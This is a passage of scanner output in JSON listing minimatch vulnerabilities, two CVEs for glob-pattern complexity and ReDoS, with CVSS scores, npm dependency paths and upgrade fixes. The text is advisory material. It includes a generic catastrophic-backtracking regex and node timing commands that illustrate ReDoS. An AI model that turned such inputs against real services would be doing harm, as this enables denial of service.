"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit 